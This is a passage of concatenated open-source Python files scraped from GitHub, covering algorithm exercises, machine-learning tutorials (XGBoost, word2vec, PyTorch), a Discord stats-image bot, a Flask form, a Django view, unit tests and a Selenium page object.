of tree (values are space separated).\n\nFor example:\n3\n1 # #\n\nDenotes tree like:\n 1\n / \\\n null null\n--------------------------------------\n\n7\n1 2 3 # # # #\n\nDenotes tree like:\n 1\n / \\\n 2 null\n / \\\n 3 null\n / \\\n null null\n\nUse the option \"Show Input/Output Code \" just above the code editor, to see, how input is read, tree is built, the function that you are going to complete is called and output is printed.\n\nNotes:\nSuggested time in interview: 40 minutes\nhttps://articles.leetcode.com/convert-binary-search-tree-bst-to/\nhttps://leetcode.com/problems/flatten-binary-tree-to-linked-list/\nhttp://cslibrary.stanford.edu/109/TreeListRecursion.html\n\n'''\n\ndef join(a, b):\n a.right = b\n b.left = a\n \ndef append(a, b):\n if a == None:\n return b\n if b == None:\n return a\n \n aLeft = a.left\n bLeft = b.left\n \n join(aLeft, b)\n join(bLeft, a)\n \n return a\n\ndef BSTtoLL(node):\n if node == None:\n return\n \n nodeLeft = BSTtoLL(node.left)\n nodeRight = BSTtoLL(node.right)\n \n node.left = node\n node.right = node\n \n nodeLeft = append(nodeLeft, node)\n nodeLeft = append(nodeLeft, nodeRight)\n \n return nodeLeft\n\n'''\nhead = None\nprev = None\n\ndef treeToList(node):\n global head\n global prev\n \n if node == None:\n return\n treeToList(node.left)\n \n node.left = prev\n \n if prev != None:\n prev.right = node\n else:\n head = node\n \n savedRightNode = node.right\n \n head.left = node\n node.right = head\n \n prev = node\n treeToList(savedRightNode)\n\ndef BSTtoLL(root):\n treeToList(root)\n return head\n'''","repo_name":"chumkiroy/Problems","sub_path":"trees/convert_bst_doubly_linked_list.py","file_name":"convert_bst_doubly_linked_list.py","file_ext":"py","file_size_in_byte":2465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"31475621395","text":"from itertools import cycle\nfrom time import time\n\n\nt1 = time()\nconvergents = [2, 1]\nk = 1\nfor i in cycle([1, 0, 0]):\n if i == 1:\n convergents.append(2 * k)\n k += 1\n if i == 0:\n convergents.append(1)\n if len(convergents) == 100:\n break\nnumerators = [2, 3]\nfor i in range(2, 100):\n numerators.append(numerators[i - 2] + convergents[i] * numerators[i - 1])\nprint(sum(list(map(int, list(str(numerators[99]))))))\nprint(f\"Process completed in {time()-t1}s\")\n","repo_name":"PraneethJain/Project-Euler-Python","sub_path":"Solutions/Problem_065.py","file_name":"Problem_065.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"12963444894","text":"import gym\nimport numpy as np\nimport torch\n\nfrom brax.envs import env as brax_env\nfrom brax import jumpy as jp\n\n\nclass TotalReward(brax_env.Wrapper):\n def reset(self, rng: jp.ndarray) -> brax_env.State:\n state = self.env.reset(rng)\n state.info['total_reward'] = jp.zeros(self.env.batch_size)\n state.info['traj_length'] = jp.zeros(self.env.batch_size)\n return state\n\n def step(self, state: brax_env.State, action: jp.ndarray) -> brax_env.State:\n nstate = self.env.step(state, action)\n if 'total_reward' in nstate.info:\n total_rew = nstate.info['total_reward']\n total_rew += nstate.reward\n state.info.update(total_reward=total_rew)\n if 'traj_length' in nstate.info:\n t = nstate.info['traj_length']\n t += jp.ones(self.env.batch_size)\n state.info.update(traj_length=t)\n return nstate\n\n","repo_name":"SumeetBatra/diffusion_models","sub_path":"envs/brax_custom/custom_wrappers/reward_wrappers.py","file_name":"reward_wrappers.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"27809977345","text":"'''\nCreated on Apr 16, 2021\n\n@author: Josef\n'''\nfrom concurrent.futures.thread import ThreadPoolExecutor\nimport fnmatch\nimport logging\nimport os\nimport random\n\nfrom PIL import Image, ImageDraw\nimport emoji\nimport yaml\n\nfrom bedwars.util import draw_bedwars_extra\nfrom bridge.image import draw_bridge_stats\nfrom duels.util import get_duels_title, get_best_duel, get_duel_type\nfrom main.draw_tools import combine_images, draw_guild, Oriantation, \\\n draw_network_level, draw_head, get_font, discord_image, \\\n get_other_font, draw_text, draw_playername, draw_grid, draw_values, \\\n draw_texts\nfrom main.gamemodes import Gamemode\nfrom main.yamlloader import Loader\nfrom resources.path import resource_path\nfrom skywars.util import draw_skywars_extra\n\n\nbackgrounds = []\nfor file in fnmatch.filter(os.listdir(resource_path(\"backgrounds_duels\")), '*.png'):\n name = file[:-4]\n image = Image.open(os.path.join(resource_path(\"backgrounds_duels\"), file))\n backgrounds.append(image)\n \nforgrounds = {}\nfor file in fnmatch.filter(os.listdir(resource_path(\"forgrounds_duels\")), '*.png'):\n name = file[:-4]\n image = Image.open(os.path.join(resource_path(\"forgrounds_duels\"), file))\n forgrounds[name] = image\n\nyamlconfigs = {}\nfor file in fnmatch.filter(os.listdir(resource_path(\"forgrounds_duels\")), '*.yml'):\n name = file[:-4]\n with open(os.path.join(resource_path(\"forgrounds_duels\"), file), \"r\") as f:\n yamlconfigs[name] = yaml.load(f, Loader=Loader)\n\ndef random_bg():\n return random.choice(backgrounds).copy()\n\ndef make_image(bg, baseimage, statsdata, num):\n fg = forgrounds[f\"stats{num}\"]\n image = combine_images(bg.copy(), fg)\n image = combine_images(image, baseimage)\n bmpdata = yamlconfigs[f\"stats{num}_map\"]\n \n statsdata[\"layout\"] = draw_layout\n draw_values(image, bmpdata, statsdata)\n return discord_image(image)\n\ndef make_first(bg, baseimage, statsdata, duelsdata):\n fg = forgrounds[\"stats\"]\n image = combine_images(bg.copy(), fg)\n image = combine_images(image, baseimage)\n \n coordmap = [{\"oriantation\" : Oriantation.CENTER, \"value\" : \"{}_wins\", \"place\" : (198, 213), \"size\" : 16}, {\"oriantation\" : Oriantation.CENTER, \"value\" : \"{}_losses\", \"place\" : (198, 269), \"size\" : 16},\n {\"oriantation\" : Oriantation.CENTER, \"value\" : \"{}_wlr\", \"place\" : (198, 325), \"size\" : 16}, {\"oriantation\" : Oriantation.CENTER, \"value\" : \"{}_games\", \"place\" : (466, 213), \"size\" : 16},\n {\"oriantation\" : Oriantation.CENTER, \"value\" : \"{}_best_winstreak\", \"place\" : (466, 269), \"size\" : 16}, {\"oriantation\" : Oriantation.CENTER, \"value\" : \"{}_winstreak\", \"place\" : (466, 325), \"size\" : 16},\n {\"oriantation\" : Oriantation.CENTER, \"value\" : \"{}_bow_hits\", \"place\" : (735, 269), \"size\" : 16}, {\"oriantation\" : Oriantation.CENTER, \"value\" : \"{}_bow_shots\", \"place\" : (735, 213), \"size\" : 16},\n {\"oriantation\" : Oriantation.CENTER, \"value\" : \"{}_bow_accuracy\", \"place\" : (735, 325), \"size\" : 16}, {\"oriantation\" : Oriantation.CENTER, \"value\" : \"{}_melee_hits\", \"place\" : (1004, 269), \"size\" : 16},\n {\"oriantation\" : Oriantation.CENTER, \"value\" : \"{}_melee_swings\", \"place\" : (1004, 213), \"size\" : 16}, {\"oriantation\" : Oriantation.CENTER, \"value\" : \"{}_melee_accuracy\", \"place\" : (1004, 325), \"size\" : 16}]\n draw_grid(image, 0, 229, coordmap, 1, [\"overall\", get_best_duel(duelsdata)], statsdata)\n draw_duels_title((195, 146), image, 20, \"overall\", statsdata)\n draw_duels_title((235, 375), image, 20, get_best_duel(duelsdata), statsdata)\n return discord_image(image)\n \ndef draw_duels_stats(statsdata, gamemode):\n duelsdata = statsdata.pop(Gamemode.DUELS)\n statsdata = {**statsdata, **duelsdata}\n \n if get_duel_type(gamemode) == \"The Bridge\":\n return draw_bridge_stats(statsdata)\n \n initialindex = 0\n if get_duel_type(gamemode) != False:\n gametypes = {\"UHC\": 1, \"The Bridge\": 2, \"Classic\": 1, \"Bow\": 3, \"Nodebuff\": 2, \"OP\": 1, \"TNT\": 3, \"SkyWars\": 1, \"Sumo\": 2, \n \"Mega Walls\": 3, \"Blitz\": 3, \"Combo\": 2, \"overall\": 0} \n if get_duel_type(gamemode) in gametypes:\n initialindex = gametypes[get_duel_type(gamemode)]\n \n bg = random_bg()\n \n logging.info(f'Showing duels stats of {statsdata[\"uuid\"]} ({statsdata[\"name\"]})')\n \n baseimage = Image.new(\"RGBA\", (bg.size), (255, 0, 0, 0))\n draw_base(baseimage, statsdata.copy())\n \n imgs = []\n with ThreadPoolExecutor() as e:\n if gamemode == \"ALL\": \n imgs.append(e.submit(draw_bridge_stats, statsdata.copy()))\n imgs.append(e.submit(make_first, bg, baseimage, statsdata, duelsdata))\n imgs.append(e.submit(make_image, bg, baseimage, statsdata, \"2\"))\n imgs.append(e.submit(make_image, bg, baseimage, statsdata, \"3\"))\n imgs.append(e.submit(make_image, bg, baseimage, statsdata, \"4\"))\n \n \n emojis = emoji.emojize(\":star:\"), emoji.emojize(\":one:\", use_aliases=True), emoji.emojize(\":two:\", use_aliases=True), emoji.emojize(\":three:\", use_aliases=True)\n if gamemode == \"ALL\":\n emojis = (emoji.emojize(\":zero:\", use_aliases=True),) + emojis\n return dict(zip(emojis, [img.result() for img in imgs])), initialindex\n\ndef draw_duels_projection(statsdata):\n bg = random_bg()\n fg = forgrounds[\"projection\"]\n image = combine_images(bg, fg)\n \n logging.info(f'Showing duels projection of {statsdata[\"uuid\"]} ({statsdata[\"name\"]})')\n draw_playernamefull((65, 180), image, 20, statsdata, gametype=statsdata[\"gametype\"])\n coordmap = [{\"oriantation\" : Oriantation.RIGHT, \"value\" : \"goal\", \"place\" : (585, 102), \"size\" : 20}, {\"oriantation\" : Oriantation.CENTER, \"value\" : \"wins\", \"place\" : (197, 300), \"size\" : 20},\n {\"oriantation\" : Oriantation.CENTER, \"value\" : \"losses\", \"place\" : (197, 385), \"size\" : 20}, {\"oriantation\" : Oriantation.CENTER, \"value\" : \"wlr\", \"place\" : (197, 470), \"size\" : 20},\n {\"oriantation\" : Oriantation.CENTER, \"value\" : \"gametimeagame\", \"place\" : (565, 310), \"size\" : 20}, {\"oriantation\" : Oriantation.CENTER, \"value\" : \"gametime\", \"place\" : (565, 395), \"size\" : 20},\n {\"oriantation\" : Oriantation.CENTER, \"value\" : \"dailywlr\", \"place\" : (565, 480), \"size\" : 20}, {\"oriantation\" : Oriantation.CENTER, \"value\" : \"dailygames\", \"place\" : (953, 309), \"size\" : 20},\n {\"oriantation\" : Oriantation.CENTER, \"value\" : \"dailywins\", \"place\" : (953, 390), \"size\" : 20}, {\"oriantation\" : Oriantation.CENTER, \"value\" : \"dailylosses\", \"place\" : (953, 475), \"size\" : 20},\n {\"oriantation\" : Oriantation.LEFT, \"value\" : \"mostmap\", \"place\" : (393, 526), \"size\" : 22}, {\"oriantation\" : Oriantation.LEFT, \"value\" : \"date\", \"place\" : (151, 589), \"size\" : 18},\n {\"oriantation\" : Oriantation.LEFT, \"value\" : \"accuracy\", \"place\" : (196, 616), \"size\" : 12}]\n draw_texts(image, coordmap, statsdata)\n draw_head(image, (1000, 38), statsdata[\"head\"], (110, 102), rotation=3.7, mirror=True)\n \n return discord_image(image)\n\ndef draw_playernamefull(coords, image, fontsize, statsdata, gametype='overall'):\n font = get_other_font(fontsize)\n draw = ImageDraw.Draw(image)\n title = get_duels_title(statsdata[\"wins\"], game=gametype) if (\"wins\" in statsdata) else get_duels_title(statsdata[\"overall_wins\"], game=gametype)\n \n coords = draw_text(draw, coords, title, font, shadow = True)\n coords = (coords[0] + 15, coords[1])\n draw_playername(coords, image, fontsize, statsdata)\n \ndef draw_duels_title(coords, image, fontsize, mode, statsdata):\n font = get_other_font(fontsize)\n draw = ImageDraw.Draw(image)\n title = get_duels_title(statsdata[f\"{mode}_wins\"], game=mode, default=\"§7None\")\n \n draw_text(draw, coords, title, font, shadow=True)\n\ndef draw_layout(draw, coords, fontsize, statsdata, orientation=Oriantation.LEFT):\n pass\n\ndef draw_base(image, statsdata):\n draw_playernamefull((97, 86), image, 20, statsdata)\n draw_guild(image, (1004.5, 597), 17, statsdata[\"guild\"], Oriantation.CENTER)\n draw_network_level(image, (1004.5, 634), 17, statsdata[\"network_level\"], Oriantation.CENTER)\n draw_head(image, (1000, 19), statsdata[\"head\"], (110, 102), rotation=3.7, mirror=True)\n \n draw = ImageDraw.Draw(image)\n font = get_font(18)\n draw_skywars_extra(draw, (288, 600), font, statsdata.pop(Gamemode.SKYWARS))\n draw_bedwars_extra(draw, (280, 632), font, statsdata.pop(Gamemode.BEDWARS))\n ","repo_name":"WhatCats/fluffy-bot","sub_path":"duels/image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":8450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"33461998088","text":"import unittest\nfrom dateutil.parser import *\nimport datetime\nfrom heimdall.models.identity import (\n Identity\n)\n\n\nclass IdentityModelTests(unittest.TestCase):\n\n def setUp(self) -> None:\n self.identity_state = {\n \"identity_id\": '47422981-44bd-4d5f-8e57-dde7f411de50',\n \"business_id\": \"3487-8732\",\n \"identity_data\": {\"user_name\": \"John Smith\", \"department\": \"Accountability\"},\n \"created\": \"Thu, 23 May 2019 03:30:20 GMT\",\n \"last_modified\": \"Thu, 23 May 2019 03:30:20 GMT\",\n \"disabled\": False,\n \"type\": 'user_identity'\n }\n\n # -------------------------------------------------------------------------\n # TEST IDENTITY ID IS VALID WHEN INITIAL STATE IS GIVEN\n # -------------------------------------------------------------------------\n def test_unit_identity_id_is_valid_when_initial_state_is_given(self):\n # Prepare\n identity = Identity(state=self.identity_state)\n\n # Expected\n expected = '47422981-44bd-4d5f-8e57-dde7f411de50'\n actual = identity.id\n\n # Assert\n self.assertEqual(expected, actual)\n\n def test_unit_business_id_is_valid_when_initial_state_is_given(self):\n # Prepare\n identity = Identity(state=self.identity_state)\n\n # Expected\n expected = '3487-8732'\n actual = identity.business_id\n\n # Assert\n self.assertEqual(expected, actual)\n\n def test_unit_last_modified_is_valid_when_initial_state_is_given(self):\n # Prepare\n identity = Identity(state=self.identity_state)\n\n # Expected\n expected = parse('Thu, 23 May 2019 03:30:20 GMT')\n actual = identity.last_modified\n\n # Assert\n self.assertEqual(expected, actual)\n\n def test_unit_type_is_valid_when_initial_state_is_given(self):\n # Prepare\n identity = Identity(state=self.identity_state)\n\n # Expected\n actual = identity.last_modified\n\n # Assert\n self.assertIsInstance(actual, datetime.datetime)","repo_name":"OneTesseractInMultiverse/heimdall","sub_path":"src/test/unit/identity_model_tests.py","file_name":"identity_model_tests.py","file_ext":"py","file_size_in_byte":2056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"23441191261","text":"'''\nXGBOOST on iris flower data set (multiclass classification)\n\nTutorial from https://towardsdatascience.com/a-beginners-guide-to-xgboost-87f5d4c30ed7\n'''\n\nimport xgboost as xgb\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import precision_score, recall_score, accuracy_score\nfrom sklearn import datasets\nimport numpy as np\n\n\n# load data\niris = datasets.load_iris()\nX = iris.data\ny = iris.target\n\n# split data\nX_train, X_test, Y_train, Y_test = train_test_split(X, y, test_size=0.2)\n\n# transform to DMatrix\nD_train = xgb.DMatrix(X_train, label=Y_train)\nD_test = xgb.DMatrix(X_test, label=Y_test)\n\n# define xgboost model\nparam = {\n 'eta': 0.3, # learning rate\n 'max_depth': 3,\n 'objective': 'multi:softprob',\n 'eval_metric': 'mlogloss',\n 'num_class': 3}\nepochs = 20\n\n# train\nmodel = xgb.train(param, D_train, epochs)\n\n# predict test set\npreds = model.predict(D_test)\n\n# evaluate model and print metrics\nbest_preds = np.asarray([np.argmax(line) for line in preds])\nprint(\"Precision = {}\".format(precision_score(Y_test, best_preds, average='macro')))\nprint(\"Recall = {}\".format(recall_score(Y_test, best_preds, average='macro')))\nprint(\"Accuracy = {}\".format(accuracy_score(Y_test, best_preds)))\n","repo_name":"moejoe95/ccc-21","sub_path":"iris_flowers_xgboost/iris_flowers.py","file_name":"iris_flowers.py","file_ext":"py","file_size_in_byte":1239,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"30077884008","text":"\"\"\"\nThis module implements instance of search employee web form\n\"\"\"\nfrom flask_wtf import FlaskForm\nfrom wtforms import StringField, SubmitField, SelectField, DateField, validators\nfrom wtforms.validators import ValidationError\n\n\nclass EmployeeSearchForm(FlaskForm):\n \"\"\"\n Custom FlaskForm object for searching employees form\n \"\"\"\n department = SelectField(\"department\")\n name = StringField(\"Search\")\n from_birthday = DateField(\"Start date\", validators=(validators.Optional(),))\n to_birthday = DateField(\"End date\", validators=(validators.Optional(),))\n submit = SubmitField(\"Search\")\n\n def validate_from_birthday(self, from_birthday):\n \"\"\"\n validator for from_birthday field\n :param from_birthday: birthday date field\n :raise ValidationError: start date is bigger than end date\n \"\"\"\n if self.to_birthday.data and from_birthday.data:\n if from_birthday.data > self.to_birthday.data:\n raise ValidationError(\"Start date is bigger than end date\")\n","repo_name":"akopika/epam_project","sub_path":"src/forms/employees/employee_search.py","file_name":"employee_search.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"40049315950","text":"\"\"\"\nSimple example with dependencis. Install scriptflow with pip install scriptflow then run \n\n> scriptflow run sleepit\n\n\"\"\"\n\n\nimport scriptflow as sf\n\n# set main options\nsf.init({\n \"executors\":{\n \"local\": {\n \"maxsize\" : 5\n } \n },\n 'debug':True\n})\n\n\ndef compare_file():\n\n with open('test_1.txt') as f:\n a = int(f.readlines()[0])\n\n with open('test_2.txt') as f:\n b = int(f.readlines()[0])\n\n with open('final.txt','w') as f:\n f.write(\"{}\\n\".format(a+b))\n\n\n# define a flow called sleepit\nasync def flow_sleepit():\n\n i=1\n t1 = sf.Task(\n cmd = f\"\"\"python -c \"import time; time.sleep(2); open('test_{i}.txt','w').write('5');\" \"\"\",\n outputs = f\"test_{i}.txt\",\n name = f\"solve-{i}\")\n\n i=2\n t2 = sf.Task(\n cmd = f\"\"\"python -c \"import time; time.sleep(2); open('test_{i}.txt','w').write('5');\" \"\"\",\n outputs = f\"test_{i}.txt\",\n name = f\"solve-{i}\")\n\n await sf.bag(t1,t2)\n\n tfinal = sf.Task(\n cmd = f\"\"\"python -c \"import sflow; sflow.compare_file()\" \"\"\",\n outputs = \"final.txt\",\n name = \"final\",\n inputs = [t1.outputs, t2.outputs])\n\n await tfinal\n\n # tasks = [ sf.Task(\n # [\"python\", \"-c\", f\"import time; time.sleep(5); open('test_{i}.txt','w').write('4');\"]).uid(f\"test_{i}\").output(f\"test_{i}.txt\") for i in range(10,20)]\n # await sf.bag(*tasks)\n\n\n\n\n\n","repo_name":"tlamadon/scriptflow","sub_path":"examples/simple-local/sflow.py","file_name":"sflow.py","file_ext":"py","file_size_in_byte":1410,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"54"} +{"seq_id":"31920622839","text":"import random\nimport time\n\nfrom selenium.webdriver.common.by import By\n\nfrom base.base_action import BaseAction\n\n\nclass RegionPage(BaseAction):\n city = By.ID, \"com.tpshop.malls:id/tv_city\"\n sure_button = By.ID, \"com.tpshop.malls:id/btn_right\"\n\n def select_city(self):\n print(\"选择城市\")\n\n for i in range(4):\n print(\"获取城市列表,循环4次\")\n cities = self.find_elements(self.city)\n print(\"随机一个数字做为下标\")\n city_index = random.randint(0, len(cities) - 1)\n print(\"点击这个无素\")\n cities[city_index].click()\n time.sleep(2)\n\n def click_sure(self):\n self.click(self.sure_button)\n","repo_name":"fengsanan/TPShop","sub_path":"page/region_page.py","file_name":"region_page.py","file_ext":"py","file_size_in_byte":720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"39180037071","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom .froms import SuggestionForm\nfrom .suggestion_service import get_suggestion\nfrom .models import SeoProject, KeywordSuggestion\n\n\ndef process_keyword(pro):\n keyword_str = pro.keywords\n if len(keyword_str.strip()) != 0:\n keyword_list = keyword_str.split(\",\")\n for keyword in keyword_list:\n suggested_keyword = get_suggestion(keyword)\n print(suggested_keyword)\n suggestion = \",\".join(suggested_keyword)\n KeywordSuggestion.objects.create(\n keyword=keyword, project=pro, suggestion=suggestion\n )\n\n\ndef suggestion_service(request, *args, **kwargs):\n if request.POST:\n form = SuggestionForm(request.POST)\n if form.is_valid():\n project_id = request.POST.get(\"project\")\n project = SeoProject.objects.get(id=project_id)\n process_keyword(project)\n return HttpResponse(\"ok..\")\n else:\n form = SuggestionForm()\n return render(request, \"suggestion/key-suggestion.html\", {\"form\": form})\n\n","repo_name":"mazharoddin/keyword-pos-SEO-updated","sub_path":"suggestion/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"34954555415","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Mar 11 08:52:32 2019\n\n@author: ruan\n\"\"\"\n\nimport numpy as np\nfrom pandas import Series as series\nimport os\nimport time\nimport jieba\nimport math\nfrom opencc import OpenCC\nfrom gensim.corpora import WikiCorpus\nfrom gensim.models import KeyedVectors\nfrom gensim.models import Word2Vec\nfrom gensim.models.word2vec import LineSentence\nimport multiprocessing\nimport logging\nimport nn_lib\n\n# logging.basicConfig(level=logging.WARNING, format=\"[%(asctime)s] %(message)s\", datefmt=\"%Y-%m-%d %H:%M:%S\", )\nlogging.basicConfig(level=logging.INFO, format=\"[%(asctime)s] %(message)s\", datefmt=\"%Y-%m-%d %H:%M:%S\", )\nimport codecs\n\npath_wiki = u'E:\\\\MachineLearning\\\\data\\\\wiki\\\\'\n# path_wiki = u'..\\\\data\\\\wiki\\\\'\nflag_test = False\n\n'''\n维基百科语料下载地址:\nhttps://dumps.wikimedia.org/zhwiki/latest/zhwiki-latest-pages-articles.xml.bz2\nhttps://dumps.wikimedia.org/enwiki/latest/enwiki-latest-pages-articles.xml.bz2\n'''\n# word2vec算法相关参数\nw2v_dim = 50\nw2v_window = 10\n# min_count参数配置过大会导致报错:you must first build vocabulary before training the model\nw2v_min_count = 3\nw2v_iter = 5\n# batch_words参数对结果有极大的影响,原因未知,默认配置为10000。\n# 我曾经参试配置成1000000,最后most_similar等函数输出的结果非常差。\nw2v_batch_words = 1000\n# skip-gram耗时为CBOW的大约3~5倍。工业界主流用sg,据说对低频词语的效果比较好。\nw2v_sg = 1\n\n\n# 计算余弦相似度\ndef simlarityCalu(vector1, vector2):\n vector1Mod = np.sqrt(vector1.dot(vector1))\n vector2Mod = np.sqrt(vector2.dot(vector2))\n if vector2Mod != 0 and vector1Mod != 0:\n simlarity = (vector1.dot(vector2)) / (vector1Mod * vector2Mod)\n else:\n simlarity = 0\n return simlarity\n\n\n# 读取和处理语料\ndef preprocess_wiki_corpus(path_data_in=None, path_data_out=None):\n if path_data_in == None:\n corpus_path = path_wiki + u'zhwiki-latest-pages-articles.xml.bz2'\n # corpus_path = path_wiki + u'enwiki-latest-pages-articles.xml.bz2'\n else:\n corpus_path = path_data_in\n if path_data_out == None:\n corpus_processed_path = path_wiki + 'corpus_wiki.txt'\n else:\n corpus_processed_path = path_data_out\n cc = OpenCC('t2s')\n count = 0\n with open(corpus_processed_path, 'w', encoding='utf-8') as corpus_processed:\n corpus = WikiCorpus(corpus_path, lemmatize=False, dictionary={})\n for doc in corpus.get_texts():\n doc_new = [' '.join(jieba.cut(cc.convert(sent), cut_all=False)) for sent in doc]\n # doc_new = series(doc).apply(lambda x: ' '.join(jieba.cut(cc.convert(x), cut_all=False)))\n corpus_processed.write(' '.join(doc_new) + \"\\n\")\n count += 1\n if (count % 100 == 0):\n logging.warning('Saved ' + str(count) + ' articles')\n if ((flag_test == True) and (count == 200)):\n return\n return\n\n\n# 训练词向量\ndef train_word2vec(path_corpus=None, word2vec_dim=w2v_dim, path_w2v_model=None, path_w2v_model_other=None):\n # 初始化缺省地址\n if path_corpus == None:\n path_corpus = path_wiki + r'corpus_wiki.txt'\n if path_w2v_model == None:\n path_w2v_model = path_wiki + r'wiki_zh_model'\n if path_w2v_model_other == None:\n path_w2v_model_other = path_wiki + r'wiki_zh_model_w2v'\n # 训练模型\n logging.warning('begin word2vec')\n model = Word2Vec(LineSentence(path_corpus), sg=w2v_sg, size=word2vec_dim, \\\n window=w2v_window, min_count=w2v_min_count, \\\n batch_words=w2v_batch_words, iter=w2v_iter, \\\n seed=int(time.time()), workers=multiprocessing.cpu_count())\n logging.warning('end word2vec')\n # 保存模型\n # 模式一,模型文件体积小,加载速度快\n # todo Word2Vec和KeyedVectors的save方式的调用有点混乱,下次用到的时候再验证下\n model.save(path_w2v_model)\n # 模式二,模型文件体积大,加载速度慢\n model.wv.save_word2vec_format(path_w2v_model_other, binary=False)\n logging.warning('saved word2vec model')\n return model\n\n\n# 读取词向量文件\ndef load_w2v_model(path_w2v_model):\n # 模式一,模型文件体积小,加载速度快\n # w2v_model = KeyedVectors.load(path_w2v_model)\n # 模式二,模型文件体积大,加载速度慢\n w2v_model = KeyedVectors.load_word2vec_format(path_w2v_model, binary=False)\n return w2v_model\n\n# 根据词表字典和词向量,构建新词表\ndef rebuild_w2v_matrix(word2id_vocab, w2v_vector):\n id2word_vocab = {idx: word for word, idx in word2id_vocab.items()}\n dim = w2v_vector.vector_size\n vocab_size = len(word2id_vocab)\n stddev = math.sqrt(6 / (vocab_size + dim))\n w2v_matrix = np.random.normal(scale=stddev, size=[vocab_size, dim])\n for i in range(vocab_size):\n if id2word_vocab[i] in w2v_vector.index2word:\n w2v_matrix[i] =w2v_vector.get_vector(id2word_vocab[i])\n return w2v_matrix\n\ndef demo_rebuild_w2v_matrix(path_word2id, path_w2v):\n path_word2id = u'E:\\\\MachineLearning\\\\data\\\\seq2seq_nmt\\\\vocab_zh.pkl'\n path_w2v = path_wiki + u'45000-samll.txt'\n word2id_vocab, vocab_size = nn_lib.read_word2id_dict(path_word2id)\n w2v_vector = KeyedVectors.load_word2vec_format(path_w2v)\n w2v_matrix = rebuild_w2v_matrix(word2id_vocab, w2v_vector)\n return w2v_matrix\n\n# 读取腾讯词向量文件\ndef load_tencent_w2v_matrix(path_data=None):\n if path_data == None:\n w2v_path = path_wiki + r'Tencent_AILab_ChineseEmbedding.txt'\n if not os.path.exists(w2v_path):\n w2v_path = path_wiki + r'wiki_zh_vector'\n else:\n w2v_path = path_data\n w2v_matrix = KeyedVectors.load_word2vec_format(w2v_path, binary=False)\n return w2v_matrix\n\n\n# word2vec测试用\ndef w2v_demo(model):\n model.vector_size\n model.index2word\n model.get_vector('数学')\n model.most_similar(u\"数学\")\n model.most_similar(positive=[u\"皇上\", u\"女人\"], negative=u\"男人\")\n model.doesnt_match(u'数学 物理 微积分 几何 代数 数论'.split())\n model.similarity(u'书籍', u'书本')\n model.similarity(u'逛街', u'书本')\n\n\nif __name__ == '__main__':\n flag_test = False\n # preprocess_wiki_corpus()\n model = train_word2vec()\n # w2v_model = load_w2v_model(path_wiki + r'wiki_zh_model_w2v'+'_{}'.format(w2v_dim))\n # w2v_matrix = demo_rebuild_w2v_matrix(None, None)\n print('End Task !')\n\n\n\n\n","repo_name":"archfool/nlp","sub_path":"nn_lib/word2vec.py","file_name":"word2vec.py","file_ext":"py","file_size_in_byte":6521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"14229278254","text":"def longestPallindrome(s):\n count = 0\n\n for i in range(len(s)):\n l,r = i, i\n while l >= 0 and r < len(s) and s[l] == s[r]:\n count = count + 1\n l = l - 1\n r = r + 1\n\n l, r = i, i+1\n while l >= 0 and r < len(s) and s[l] == s[r]:\n count = count + 1\n l = l -1\n r = r + 1\n\n return count\n\nprint(longestPallindrome('bababd'))\n\n\n\n\n\n","repo_name":"Hrishi246/InterviewPractise","sub_path":"Misc/countPallindromincSubstrings.py","file_name":"countPallindromincSubstrings.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"8635657217","text":"from collections import defaultdict\n\n\nclass Solution(object):\n def groupAnagrams(self, strs):\n dict = defaultdict(list)\n for each in strs:\n a = \"\".join(sorted(each))\n dict[a] += [each]\n\n arr = []\n for each in dict:\n arr.append(dict[each])\n print(arr)\n\n\nS = Solution()\nS.groupAnagrams([\"eat\", \"tea\", \"tan\", \"ate\", \"nat\", \"bat\"])\n","repo_name":"saumyasinha023/PythonProgramming","sub_path":"Practice/Strings/GroupAnagrams.py","file_name":"GroupAnagrams.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"40857160542","text":"import numpy as np # linear algebra\r\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\r\n\r\nimport os\r\n\r\nimport matplotlib.pyplot as plt\r\nplt.style.use(\"ggplot\")\r\n\r\n# OpenCV Image Library\r\nimport cv2\r\n\r\n# Import PyTorch\r\nimport torchvision.transforms as transforms\r\nfrom torch.utils.data.sampler import SubsetRandomSampler\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nfrom torch.utils.data import TensorDataset, DataLoader, Dataset\r\nimport torchvision\r\nimport torch.optim as optim\r\n\r\ntrain_df = pd.read_csv(\"./data/data_labels.csv\") # need CSV of two cols : id = img path, shopped {0,1}\r\n\r\nprint(f\"Train Size: {len(os.listdir('./data/images/'))}\")\r\n#print(f\"Test Size: {len(os.listdir('./data/images/'))}\")\r\n\r\n# Data paths\r\ntrain_path = 'data/images/'\r\n\r\n\r\n# Our own custom class for datasets\r\nclass CreateDataset(Dataset):\r\n def __init__(self, df_data, data_dir = './', 